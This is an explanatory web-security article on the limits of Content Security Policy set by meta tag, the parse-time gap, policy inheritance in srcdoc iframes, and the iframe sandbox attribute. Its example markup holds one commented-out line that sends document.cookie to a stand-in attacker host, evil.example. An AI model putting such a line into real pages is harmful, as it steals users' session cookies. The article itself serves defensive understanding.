The Policy That Arrives Too Late: CSP Meta Tags, Iframes, and the Parse-Time Gap
Source: simonwillison
Simon Willison’s recent test asks whether JavaScript inside an iframe can escape a Content Security Policy set via a <meta> tag in that iframe’s document. To answer it properly, you need to understand two separate problems: how CSP meta tags differ from HTTP-header-delivered CSP by design, and how iframe context changes what the policy container even means. These are distinct questions, and conflating them leads to security misconfigurations that pass casual code review.
The Two Delivery Mechanisms Are Not Equivalent
The CSP Level 3 specification defines two ways a policy reaches a document: an HTTP response header, and a <meta http-equiv="Content-Security-Policy"> element. Most developers know both exist. Fewer know the spec explicitly and permanently restricts what meta tags can do.
When CSP arrives as an HTTP header, the browser enforces it before any HTML is parsed. The policy is applied to the response as a whole, including every byte of markup that follows. The frame-ancestors directive works, sandbox works, report-uri works, and the policy covers inline scripts from the document’s first character.
When CSP arrives via a meta tag, none of those guarantees hold. The spec’s Section 6.6.1.1 explicitly lists the directives that user agents must ignore when encountered in a meta element: frame-ancestors, sandbox, report-uri, and report-to. These are not browser quirks or implementation gaps. Ignoring them is required behavior. A developer who puts frame-ancestors 'none' in a meta tag gets no clickjacking protection at all, in any browser, because the spec mandates that the directive be discarded.
MDN’s documentation makes this clear enough, but the failure mode is silent. No console warning. No violation report. The browser just ignores the directive and moves on.
The Parse-Time Gap
The second limitation is subtler and more exploitable. A meta tag is processed when the HTML parser encounters it. Any script that runs before the parser reaches the meta tag runs without any CSP restriction whatsoever.
Consider this document structure:
<!DOCTYPE html>
<html>
<head>
<script>
// This runs with no CSP applied.
// fetch('https://evil.example/exfil?data=' + document.cookie);
</script>
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
<script>
// This is blocked by the CSP.
console.log('blocked');
</script>
</body>
</html>
The first script block executes before the parser sees the meta tag. The CSP policy does not apply retroactively. From the parser’s perspective, the policy does not exist yet. After the meta tag is processed, subsequent scripts are blocked correctly, but any damage done before that point stands.
This is the parse-time gap. With header-delivered CSP, there is no such window. The policy applies from the first byte of the response. With meta-tag CSP, the window is as large as everything that precedes the tag in document order.
In practice, this means meta-tag CSP is only reliable when the meta element is the very first element in <head>, before any scripts, before any external resource loads, before any inline event handlers. Even then, any content injected into the document by an earlier script has already run.
How srcdoc Iframes Change the Policy Container
When a srcdoc iframe is created, its browsing context inherits the policy container of its embedding document. The WHATWG HTML spec specifies that the srcdoc frame starts with a clone of the parent’s policy list. This happens before any content in the srcdoc is parsed.
The consequence is that a srcdoc iframe accumulates policies: it starts with whatever CSP the parent document received via HTTP headers, then adds any additional policies from its own <meta> tags. The iframe cannot use a meta tag to relax the parent’s policy. CSP policies are strictly additive; each layer can only tighten restrictions further.
For the question Willison is testing, this means the relevant threat model is not “can JS escape the meta CSP” in isolation, but rather “what is the full policy container the iframe is operating under.” If the parent page has no CSP, the srcdoc iframe starts with an empty policy container, and its only protection is whatever the meta tag provides, subject to all the limitations above.
A src= iframe operates differently. A framed document loaded from a URL brings its own policy container, derived from its HTTP response headers. The parent’s CSP governs whether the iframe can be loaded at all (via frame-src or child-src), but it does not extend into the child document’s execution context. The child’s meta-tag CSP is the child’s only policy if the child’s server sends no headers.
<!-- Parent CSP does NOT extend into this child document -->
<iframe src="https://example.com/page.html"></iframe>
<!-- Parent CSP IS inherited by srcdoc content -->
<iframe srcdoc="<script>/* parent's CSP applies here first */</script>"></iframe>
This distinction is significant. A developer building a sandbox using a srcdoc iframe might assume a meta-tag CSP inside the srcdoc is their primary isolation mechanism. If the parent has header-delivered CSP, the srcdoc inherits it. If the parent has no CSP, the srcdoc’s meta-tag CSP is the only line of defense, and that defense has the parse-time gap and the dropped directives already described.
The sandbox Attribute Is Not CSP
One related confusion worth addressing: the sandbox attribute on an <iframe> element is separate from the sandbox CSP directive and from any meta-tag CSP inside the iframe. These three mechanisms operate independently.
The sandbox attribute restricts the iframe’s browsing context at the embedding level. Setting sandbox without allow-scripts prevents script execution regardless of what the iframe’s document contains. Setting sandbox with allow-scripts allows scripts, and the iframe’s own CSP (whether from headers or meta tag) then governs what those scripts can do.
The sandbox CSP directive, which applies sandboxing restrictions via policy rather than via the HTML attribute, can only be delivered via HTTP header. A meta tag cannot set the sandbox CSP directive; it is one of the four directives the spec mandates must be ignored in meta elements. So a srcdoc iframe trying to restrict itself further via a meta-tag sandbox directive gets no additional restriction from that directive. The only sandbox behavior comes from the HTML attribute on the <iframe> element in the parent.
The Practical Picture for iframe-Based Sandboxing
If you are building something that relies on an iframe to sandbox untrusted content, the actual isolation stack needs to be clear:
-
The
sandboxattribute on the<iframe>element controls what the frame’s browsing context can do before any content loads. This is the outermost and most reliable layer. -
HTTP header CSP on the framed document governs what resources and code execute inside it, applied before the first byte of HTML is parsed.
-
Meta-tag CSP inside the framed document adds additional restrictions after the parser reaches the tag, but cannot specify
frame-ancestors,sandbox, or reporting endpoints, and cannot protect content that runs before it in document order.
The pattern that actually provides meaningful sandboxing is the sandbox attribute combined with header-delivered CSP on the content being framed. Using only a meta-tag CSP inside a srcdoc iframe, without a sandbox attribute and without header-based CSP from a parent, leaves a parse-time window open and silently drops the directives that prevent framing and apply sandbox semantics.
Willison’s test is a useful reminder that the browser security model has layers, and those layers have different strengths. A meta tag looks like a CSP. It behaves like a CSP for some directives, in some situations, after a specific point in document parsing. Understanding where it falls short is not a matter of browser bugs; it is a matter of reading the spec carefully and testing the result.
The Google CSP Evaluator can catch some policy weaknesses, but it does not specifically flag the delivery-mechanism limitations described here. Testing in a browser with DevTools open, watching the Network and Console panels for CSP violations and non-violations, remains the most direct way to confirm what a policy actually enforces.